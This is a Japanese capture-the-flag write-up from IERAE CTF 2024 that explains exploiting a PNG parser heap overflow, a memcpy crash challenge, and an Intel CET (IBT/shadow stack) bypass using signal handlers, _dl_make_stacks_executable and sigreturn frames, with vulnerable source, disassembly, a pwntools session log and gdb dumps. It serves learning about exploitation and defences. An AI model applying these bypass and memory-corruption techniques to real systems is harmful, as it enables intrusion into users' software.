IERAE CTF 2024
今回はBlue Waterのjtとして参加して、おもに宿題とwarmupを担当していました。CETバイパス問は何とか解けましたが、一人では全てに気づけなかったなと感じています。
エクスプロイトはこちらに置いています。
PNGParser1, 2
pwnの宿題になっていた問題です。
pngを読み込んで保存してくれるプログラムです。1はSEGVハンドラにあってクラッシュさせると表示、2はコード実行まで必要です。おそらく1は部分点のような位置づけなので、2を解く方針で進めます。
もともと片手間でプレイするために用意されたらしいこと、zlibの展開をしていることから、IHDRで嘘をついたらおしまいかなと思いきや、ちゃんと出力が絞られて壊れないようになっています。サイズ周りも怪しそうに見えて色々入れますが、1バイトもはみ出しません。素晴らしい。
時間を使ってちゃんと読んで、危ないところを見つけました。
まずpngファイルからデータを取り出すまでの処理が少し怪しいです。parse_png_file
で一度サイズを抜いて、allocate_PNGFile
でメモリを確保した後、再びparse_png_file
で中身を格納します。
PNGFile read_png_file(){
printf("size of png: ");
size_t size = read_long();
if(size == 0 || size > MAX_PNG_SIZE){
puts("invalid size");
exit(1);
}
unsigned charpng_file = malloc(size);
if(png_file == NULL){
exit(1);
}
puts("send your png:");
read_exact(png_file, size);
unsigned int image_size = parse_png_file(png_file, size, NULL);
PNGFile *png = allocate_PNGFile((image_size >> 16) & 0xffff, image_size & 0xffff);
parse_png_file(png_file, size, png);
free(png_file);
return png;
}
parse_png_file
はというと、読み取りのバッファがない場合は、IHDRチャンクを読んだ瞬間にreturnしています。一方でバッファがあると、IHDRチャンクから読み取った画像サイズをpng->width
, png->height
として更新し、展開サイズであるpng->zstream.avail_out
を合わせて計算します。
IHDRチャンクは1つもないとエラーですが、複数あっても怒られなさそうです。IDATチャンクの処理はIHDRチャンク読み取りで設定された長さを素直に入れて処理し、その値のチェックは行われません。
unsigned int parse_png_file(unsigned char png_file, size_t filesize, PNGFilepng){
...
bool ihdr_seen = false;
bool iend_seen = false;
while(!ined_seen){
...
case CHUNK_IHDR:
...
if(png == NULL){
return ((ihdr_chunk.width & 0xffff) << 16) | (ihdr_chunk.height & 0xffff);
}else{
png->width = ihdr_chunk.width & 0xffff;
png->height = ihdr_chunk.height & 0xffff;
png->zstream.next_in = Z_NULL;
png->zstream.avail_in = 0;
png->zstream.opaque = Z_NULL;
png->zstream.next_out = png->data;
png->zstream.avail_out = (png->width + 1) * png->height;
if(inflateInit(&png->zstream) != Z_OK){
exit(1);
}
ihdr_seen = true;
}
break;
case CHUNK_IDAT:
if(!ihdr_seen){
puts("no IHDR chunk");
exit(1);
}
png->zstream.next_in = chunk_data;
png->zstream.avail_in = chunk_length;
if(inflate(&png->zstream, Z_NO_FLUSH) < 0){
printf("inflate failed: %s\n", png->zstream.msg);
}
break;
...
ということで、IHDR(小)、IHDR(大)、IDAT(大)の組み合わせのPNGを入れると、IHDR(小)のサイズで確保した領域にIDAT(大)が展開されるため、めでたくヒープオーバーフローを起こします。あとはno-pieなので、tcacheを書き換えて、適切なGOTをgive_flag1
, give_flag2
に書き換えて終了です。3時間ほどかかりました。
Copy & Paste
Warmupの位置づけの問題です。
指定したファイルをバッファに展開してくれます。これもSEGVハンドラにフラグを表示する関数があるので、クラッシュが目標になります。
ディレクトリを開くと -1が返ってきたまま処理が進むので、なんとでもなりそうだなと思って、コピーソースにして終わり。と思いましたが、特に何も起こりません。
memcpy
内の処理を追ってみると、どうもサイズが0xffffffffffffffffの時はそのサイズのままでコピーせず、srcとdstのポインタの差分を計算して処理するようになっていて、結果としてクラッシュしません。
一方でそのバッファは、size=-1として char *ptr = malloc(sizeof(char)*(size+1));
で取得されるため非常に小さく、受け手になっても弱そうです。ここで、とりあえず大きなファイルをコピーしてみようと思い立ってやってみると、フラグが表示されました。
[+] Opening connection to 35.236.188.145 on port 8190: Done
[DEBUG] Received 0x61 bytes:
b'1. Create new buffer and load file content\n'
b'2. Copy some buffer to another\n'
b'3. Exit\n'
b'Enter command: '
[DEBUG] Sent 0x2 bytes:
b'1\n'
[DEBUG] Received 0x11 bytes:
b'Enter file name: '
[DEBUG] Sent 0x8 bytes:
b'/bin/sh\n'
[DEBUG] Received 0x80 bytes:
b'Read 133880 bytes from /bin/sh\n'
b'1. Create new buffer and load file content\n'
b'2. Copy some buffer to another\n'
b'3. Exit\n'
b'Enter command: '
[DEBUG] Sent 0x2 bytes:
b'1\n'
[DEBUG] Received 0x11 bytes:
b'Enter file name: '
[DEBUG] Sent 0x5 bytes:
b'/tmp\n'
[DEBUG] Received 0x79 bytes:
b'Read -1 bytes from /tmp\n'
b'1. Create new buffer and load file content\n'
b'2. Copy some buffer to another\n'
b'3. Exit\n'
b'Enter command: '
[DEBUG] Sent 0x2 bytes:
b'2\n'
[DEBUG] Received 0x14 bytes:
b'Enter source index: '
[DEBUG] Sent 0x2 bytes:
b'0\n'
[DEBUG] Received 0x19 bytes:
b'Enter destination index: '
[DEBUG] Sent 0x2 bytes:
b'1\n'
[] Switching to interactive mode
[DEBUG] Received 0xb bytes:
b'Well done!\n'
Well done!
[DEBUG] Received 0x2d bytes:
b'IERAE{7h3_f1rs7_s73p_7o_b3_4_pwn3r_51a7806b}\n'
IERAE{7h3_f1rs7_s73p_7o_b3_4_pwn3r_51a7806b}
ローカルだと落ちないので、メモリの量に依存してそうです。運がよかった。
Intel CET Bypass Challenge
おもしろかったです。ちゃんと動いているCFIに対して、任意引数2つと任意関数、スタックオーバーフローを駆使してバイパスしてくださいという問題です。
簡単にシェルが取れそうなプログラムが配布されています。
// gcc chal.c -fno-stack-protector -static -o chal
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
void timedout(int) {
puts("timedout");
exit(0);
}
char g_buf[256];
int main() {
char buf[16];
long long int arg1 = 0;
long long int arg2 = 0;
void (*func)(long long int, long long int, long long int) = NULL;
alarm(30);
signal(SIGALRM, timedout);
fgets(g_buf, 256, stdin); // My mercy
fgets(buf, 256, stdin);
if (func) func(arg1, arg2, 0);
}
攻撃するにあたり、追加の制限は2つあります。
- IBT: callかjmpは
endbr
以外の命令に飛ぶとだめ。 - SHSTK: 飛んだところに戻らないとだめ。(要はROPがだめ。)
まず、1度の入力で解決できないかを考えます。system, execve, mprotectなど試してみますが、存在しなかったり、3つ目の引数が0になっていたりで上手くいきません。
ROPを念頭にシャドウスタックを切ることを考えましたがこれはしばらくソースコードを追って、結論切れなさそうでした。
ふと見ると、timeout
はsignal
で遷移しています。これが使えるのかを見に行くと、ちゃんとendbr
がついています。そこでまずsignal(SIGSEGV, main)
として呼び、スタックを適当な値で埋めておくと、main
に戻ることができます。
また念のためと思い、endbr
以降の命令から呼ぶとどうなるかを調べたところこれも通ります。びっくり。つまり、IBTはシグナル由来の呼び出しの場合は効かないようです。
これを利用して何かできないかを考えます。一番近いのはsigreturn
を利用した方法で、ちょうどraxの設定含め関数があります。スタックがかなりかけるときに使える手段で、システムコール1つですべてを設定することができるため、今回の用途に合います。しかしこの関数にはendbr
がないので、シグナル経由で呼ぶ必要があります。
4046dc: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
00000000004046e0 <__restore_rt>:
4046e0: 48 c7 c0 0f 00 00 00 mov rax,0xf
4046e7: 0f 05 syscall
4046e9: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
さてSEGVでsigreturnのコードに行く状態にして、スタックを適当に書いて飛んでみると、うまくレジスタをコントロールできていません。よく見ると、フレームが元のスタックアドレスのかなり低位なところに確保されていて、用意したsigreturn用のペイロードに到達していません。
これを解決するにはadd rsp
やleave
を使ってから、__restore_rt
に飛ぶ必要がありますが、ret
を挟むことができないのでこの方法もだめです。
別の方法として、フラグ名は/flag
で固定なので、普通にopen read writeもできそうです。が、これも3つ目の引数が0になっていてどうしようもなさそうです。詰まってしまい、4時なので一旦諦めて寝ました。
翌朝、引き継いでくれたチームの方から、puts
とfflush
でAARはできるね、_dl_make_stacks_executable
はmprotect
があるし、スタックリークしてrwxにして飛ばしたらいいのではとアイデアいただいたので、そちらに視点を移します。
ソースを確認しながら読んでいきますが、どう考えてもソースとバイトコードが合いません。いまだに謎になっています。(謎その1)
ソースはここ、対応する場所は以下です。
0000000000459200 <_dl_make_stacks_executable>:
459200: f3 0f 1e fa endbr64
459204: 55 push rbp
459205: 48 89 e5 mov rbp,rsp
459208: 41 54 push r12
45920a: 53 push rbx
45920b: 48 89 fb mov rbx,rdi
45920e: 48 83 ec 10 sub rsp,0x10
459212: 48 8b 35 ff 1e 05 00 mov rsi,QWORD PTR [rip+0x51eff] # 4ab118 <_dl_pagesize>
459219: 8b 15 31 f2 04 00 mov edx,DWORD PTR [rip+0x4f231] # 4a8450 <__stack_prot>
45921f: 48 89 f7 mov rdi,rsi
459222: 48 f7 df neg rdi
459225: 48 23 3b and rdi,QWORD PTR [rbx]
459228: e8 83 21 fc ff call 41b3b0 <__mprotect> // <----- 1
45922d: 85 c0 test eax,eax
45922f: 0f 85 03 01 00 00 jne 459338 <_dl_make_stacks_executable+0x138> // <-----
459235: 83 0d cc 1e 05 00 01 or DWORD PTR [rip+0x51ecc],0x1 # 4ab108 <_dl_stack_flags>
45923c: 48 c7 03 00 00 00 00 mov QWORD PTR [rbx],0x0
459243: 31 c0 xor eax,eax
459245: ba 01 00 00 00 mov edx,0x1
45924a: f0 0f b1 15 8e 78 05 lock cmpxchg DWORD PTR [rip+0x5788e],edx # 4b0ae0 <_dl_stack_cache_lock>
459251: 00
459252: 0f 85 f8 00 00 00 jne 459350 <_dl_make_stacks_executable+0x150>
459258: 48 8b 1d c1 78 05 00 mov rbx,QWORD PTR [rip+0x578c1] # 4b0b20 <_dl_stack_used>
45925f: 4c 8d 25 ba 78 05 00 lea r12,[rip+0x578ba] # 4b0b20 <_dl_stack_used> // <-----
459266: 4c 39 e3 cmp rbx,r12
459269: 75 0d jne 459278 <_dl_make_stacks_executable+0x78>
45926b: eb 63 jmp 4592d0 <_dl_make_stacks_executable+0xd0>
45926d: 0f 1f 00 nop DWORD PTR [rax]
459270: 48 8b 1b mov rbx,QWORD PTR [rbx]
459273: 4c 39 e3 cmp rbx,r12
459276: 74 58 je 4592d0 <_dl_make_stacks_executable+0xd0>
459278: 48 8b bb e0 03 00 00 mov rdi,QWORD PTR [rbx+0x3e0]
45927f: 48 8b b3 d8 03 00 00 mov rsi,QWORD PTR [rbx+0x3d8]
459286: ba 07 00 00 00 mov edx,0x7
45928b: 48 29 fe sub rsi,rdi
45928e: 48 03 bb d0 03 00 00 add rdi,QWORD PTR [rbx+0x3d0]
459295: e8 16 21 fc ff call 41b3b0 <__mprotect> // <----- 2
45929a: 85 c0 test eax,eax
45929c: 74 d2 je 459270 <_dl_make_stacks_executable+0x70>
45929e: 48 c7 c0 c0 ff ff ff mov rax,0xffffffffffffffc0
4592a5: 64 8b 00 mov eax,DWORD PTR fs:[rax]
4592a8: 85 c0 test eax,eax
4592aa: 74 c4 je 459270 <_dl_make_stacks_executable+0x70>
4592ac: 31 d2 xor edx,edx
4592ae: 87 15 2c 78 05 00 xchg DWORD PTR [rip+0x5782c],edx # 4b0ae0 <_dl_stack_cache_lock>
4592b4: 83 fa 01 cmp edx,0x1
4592b7: 0f 8f ab 00 00 00 jg 459368 <_dl_make_stacks_executable+0x168>
4592bd: 48 83 c4 10 add rsp,0x10
4592c1: 5b pop rbx
4592c2: 41 5c pop r12
4592c4: 5d pop rbp
4592c5: c3 ret
まず1のmprotect
までのコードについてです。call直後にlockがあることから、恐らくこれはmake_main_stack_executable
のはずです。ところがrdxに入る値は0x4a8450 <__stack_prot>: 0x0000000001000000
ということでprotとしておかしいし、結果rwxが全部ない状態になります。rsiは0x1000が入り、rdiにはこちらの指定したポインタが入り、アドレスはそこから取られます。
しかしどこのアドレスが取られようとも、第三引数が0では役に立ちません。諦めていたところ、別の方から、下の方ではリストを使ってちゃんとmprotect
してそうという知見をいただき、続きを見てみます。
それが2のmprotect
までのコードです。こちらでは、rdxは直前でがっつり7が入っています。rdiをたどっていくと、なんと書き込み可能なリストである_dl_stack_used
から持ってきています。書き換えるだけで使えそうです。
最大の問題は、1のmprotect
を成功させる必要があることです。これが成功しないと、2のmprotect
に行かずに終了するためです。no-pieなので、知っているアドレスを適当に入れたらええのではくらいにしか思っていませんでしたので、何を入れてもだめで困ります。(謎その2)
たまたま、スタックアドレスだと成功することを発見していたので、リークと組み合わせて、スタックアドレスを適当に入力して生贄にします。利用しているところにかぶっていると失敗するのでずらして、ようやくno-pieのアドレス範囲のメモリをrwxにすることに成功しました。
ということで以下の手順で解けます。
signal(SIGSEGV, main)
で無限ループを作る__libc_argv
をリーク(puts
とfflush
で2周)strcpy
で_dl_stack_used
をg_buf
へ向けるg_buf
に必要な情報を書いて、_dl_make_stacks_executable
で適当な領域をrwxにする- rwxに
endbr
とシェルコードを積んで呼ぶ
デバッグ環境がちゃんと構築できず、手元で作って動かし、リモートが同じ挙動をするかを見ながら進めていました。リークが返ってこなかったり、スタックのリーク値が微妙に違ったりしたときはヒヤリとしましたが、解けて良かったです。
復習編
作問者writeup
- https://gmo-cybersecurity.com/blog/intel-cet-bypass-on-linux-userland/
- 小池さんによる、防御技術と回避方法の詳細に関する記事です。特にカーネルを利用してripを動かすと検証されないことがある、sigactionが設定できるもの、あたりは知らないことが多くおもしろかったです。
- 解法パートでは、同じ
_dl_make_stacks_executable
を使う解法ですが、リークがいらなそうです。mprotect
はaddrに0を入れればよかったようです。試していなかったので反省。 - 他、
signal
の代わりにsigaction
を使っていたり、_dl_stack_cache
を使っています。それ以外は似てそうです。
_dl_make_stacks_executable
の最初の回避をやってるときは、また何か変な解法を生み出したかと若干の不安がありましたが、ほぼ想定解でした。ちゃんと設計通り楽しめて良かったです。
sigreturnできる
- https://gist.github.com/sroettger/f4af7259bebb4d166ea3b468ba42d025
- tsuroさんによる、sigreturnを利用した非常にシンプルな解法です。短くてきれい。顧客が本当に求めていたもの。
- やっていることは
signal(SEGV, main)
から、次のmain
でfunc
を埋めずにそのままリターンしていています。 main
からのreturn
のとき、戻りアドレスを__restore_rt
にしていて、これがエラーなく入っています。なぜ。
調べました。結論として、sigaction
あたりでそういう仕様になっているようです。そういえば先の記事でも以下の記載がありました。
rt_sigactionではシグナルハンドラにとってのリターンアドレスとなる、sa_restorerを指定することができます。デフォルトでは、シグナルハンドラから元のコンテキストに復帰するため、以下ような__restore_rtが指定されます。
そもそもSIGSEGVからmainに飛ぶとき、以下のようにreturnアドレスが__restore_rt
に向けられます。その下はそれまでのレジスタ一式が格納されているようです。要はSEGV時のコンテキストを保存して、シグナルとして新しく関数が立ち上がり、終了時はsigreturn
で戻るようになっています。(sigからreturnするという意味だったんですね。)
以下はSEGVしたときのレジスタの状態です。
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x1
$rcx : 0x00000000004047ca → 0x870ffffff0003d48 ("H="?)
$rdx : 0x0
$rsp : 0x00007ffc158f7bb8 → "oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabba[...]"
$rbp : 0x6161616e6161616d ("maaanaaa"?)
$rsi : 0x00007ffc158f78e0 → 0x000000000040190d → <main+0> endbr64
$rdi : 0xb
$rip : 0x00000000004019ac → <main+159> ret
$r8 : 0x00007ffc158f7ad0 → 0x0000000000000000
$r9 : 0x0
$r10 : 0x8
$r11 : 0x202
$r12 : 0x00007ffc158f7cc8 → 0x00007ffc158f82cb → 0x53006c6168632f2e ("./chal"?)
$r13 : 0x00007ffc158f7cd8 → 0x00007ffc158f82d2 → "SHELL=/bin/bash"
$r14 : 0x00000000004a5f68 → 0x00000000004018b0 → <frame_dummy+0> endbr64
$r15 : 0x1
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffc158f7bb8│+0x0000: "oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabba[...]" ← $rsp
0x00007ffc158f7bc0│+0x0008: "qaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabda[...]"
0x00007ffc158f7bc8│+0x0010: "saaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfa[...]"
0x00007ffc158f7bd0│+0x0018: "uaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabha[...]"
0x00007ffc158f7bd8│+0x0020: "waaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabja[...]"
0x00007ffc158f7be0│+0x0028: "yaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaabla[...]"
0x00007ffc158f7be8│+0x0030: "baabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabna[...]"
0x00007ffc158f7bf0│+0x0038: "daabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpa[...]"
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x4019a3 <main+150> call r8
0x4019a6 <main+153> mov eax, 0x0
0x4019ab <main+158> leave
→ 0x4019ac <main+159> ret
[!] Cannot disassemble from $PC
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "chal", stopped 0x4019ac in main (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4019ac → main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
以下はSEGVした1ステップ後の状態です。 注目は、スタックがかなり伸びていること、リターンアドレスがセットされていること、レジスタがrbpを除いて一新されていること。などです。
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x1
$rcx : 0x00000000004047ca → 0x870ffffff0003d48 ("H="?)
$rdx : 0x00007ffc158f6ec0 → 0x0000000000000007
$rsp : 0x00007ffc158f6eb8 → 0x00000000004046e0 → <__restore_rt+0> mov rax, 0xf
$rbp : 0x6161616e6161616d ("maaanaaa"?)
$rsi : 0x00007ffc158f6ff0 → 0x0000000000000000
$rdi : 0xb
$rip : 0x000000000040190d → <main+0> endbr64
$r8 : 0x00007ffc158f7ad0 → 0x0000000000000000
$r9 : 0x0
$r10 : 0x8
$r11 : 0x202
$r12 : 0x00007ffc158f7cc8 → 0x00007ffc158f82cb → 0x53006c6168632f2e ("./chal"?)
$r13 : 0x00007ffc158f7cd8 → 0x00007ffc158f82d2 → "SHELL=/bin/bash"
$r14 : 0x00000000004a5f68 → 0x00000000004018b0 → <frame_dummy+0> endbr64
$r15 : 0x1
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffc158f6eb8│+0x0000: 0x00000000004046e0 → <__restore_rt+0> mov rax, 0xf ← $rsp
0x00007ffc158f6ec0│+0x0008: 0x0000000000000007 ← $rdx
0x00007ffc158f6ec8│+0x0010: 0x0000000000000000
0x00007ffc158f6ed0│+0x0018: 0x0000000000000000
0x00007ffc158f6ed8│+0x0020: 0x0000000000000002
0x00007ffc158f6ee0│+0x0028: 0x0000000000000000
0x00007ffc158f6ee8│+0x0030: 0x00007ffc158f7ad0 → 0x0000000000000000
0x00007ffc158f6ef0│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x4018fe <timedout+25> call 0x405470 <puts>
0x401903 <timedout+30> mov edi, 0x0
0x401908 <timedout+35> call 0x404e60 <exit>
→ 0x40190d <main+0> endbr64
0x401911 <main+4> push rbp
0x401912 <main+5> mov rbp, rsp
0x401915 <main+8> sub rsp, 0x30
0x401919 <main+12> mov QWORD PTR [rbp-0x8], 0x0
0x401921 <main+20> mov QWORD PTR [rbp-0x10], 0x0
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "chal", stopped 0x40190d in main (), reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x40190d → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
続いてmainに戻ったときのスタックです。rip含めレジスタ一式がそのまま残っているように見えます。ここをまるっと書き換えることで、シグナルからの復帰のコンテキストをそのまま乗っ取れます。
gef➤ tel
0x00007ffc158f6eb8│+0x0000: 0x00000000004046e0 → <__restore_rt+0> mov rax, 0xf ← $rsp
0x00007ffc158f6ec0│+0x0008: 0x0000000000000007 ← $rdx
0x00007ffc158f6ec8│+0x0010: 0x0000000000000000
0x00007ffc158f6ed0│+0x0018: 0x0000000000000000
0x00007ffc158f6ed8│+0x0020: 0x0000000000000002
0x00007ffc158f6ee0│+0x0028: 0x0000000000000000
0x00007ffc158f6ee8│+0x0030: 0x00007ffc158f7ad0 → 0x0000000000000000
0x00007ffc158f6ef0│+0x0038: 0x0000000000000000
0x00007ffc158f6ef8│+0x0040: 0x0000000000000008
0x00007ffc158f6f00│+0x0048: 0x0000000000000202
gef➤
0x00007ffc158f6f08│+0x0050: 0x00007ffc158f7cc8 → 0x00007ffc158f82cb → 0x53006c6168632f2e ("./chal"?)
0x00007ffc158f6f10│+0x0058: 0x00007ffc158f7cd8 → 0x00007ffc158f82d2 → "SHELL=/bin/bash"
0x00007ffc158f6f18│+0x0060: 0x00000000004a5f68 → 0x00000000004018b0 → <frame_dummy+0> endbr64
0x00007ffc158f6f20│+0x0068: 0x0000000000000001
0x00007ffc158f6f28│+0x0070: 0x000000000000000b ("
"?)
0x00007ffc158f6f30│+0x0078: 0x00007ffc158f78e0 → 0x0000000000000000
0x00007ffc158f6f38│+0x0080: 0x6161616e6161616d
0x00007ffc158f6f40│+0x0088: 0x0000000000000001
0x00007ffc158f6f48│+0x0090: 0x0000000000000000
0x00007ffc158f6f50│+0x0098: 0x0000000000000000
gef➤
0x00007ffc158f6f58│+0x00a0: 0x00000000004047ca → 0x870ffffff0003d48 ("H="?)
0x00007ffc158f6f60│+0x00a8: 0x00007ffc158f7bb8 → "oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabba[...]"
0x00007ffc158f6f68│+0x00b0: 0x00000000004019ac → <main+159> ret
0x00007ffc158f6f70│+0x00b8: 0x0000000000010246
0x00007ffc158f6f78│+0x00c0: 0x002b000000000033 ("3"?)
0x00007ffc158f6f80│+0x00c8: 0x0000000000000000
0x00007ffc158f6f88│+0x00d0: 0x000000000000000d ("\r"?)
0x00007ffc158f6f90│+0x00d8: 0x0000000000000000
0x00007ffc158f6f98│+0x00e0: 0x0000000000000000
0x00007ffc158f6fa0│+0x00e8: 0x00007ffc158f7080 → 0x000000000000037f
gef➤
というわけで、sigreturnを使ったというよりは、使われていたのをとてもきれいに利用したというエクスプロイトでした。すごい。
シグナルハンドラからのリターンアドレス以降を書き換えられるときはSHSTKをバイパスして任意の状態にできるため、かなり強力です。
ちょっと試してみたいのは、__restore_rt
を変なところに向けてもいいのでは、ということです。仮説としてシグナルハンドラがIBTに引っかからないのが事実なので、逆もまた同じなのではというのがあります。まともに環境構築できていないため、書き残すだけで留めます。
g_bufなし
フラグによるとg_buf
がなくても解けるということで少し考えてみました。
staticバイナリ上のどこかには書きたいバイト列が存在するだろうから、strcpy
で必要なものを1バイトずつ集めて先頭から書き込むことが可能です。これを使ってg_buf
相当のものを用意してあげれば、我々の解法であれば多分解けそうだなと思っています。
おわりに
長々と書きましたがおもしろかったです。もうちょっとサラリと解けると良かったなと思います。free2freeは着手しながら何の方針もたたなかったので良く復習しようと思います。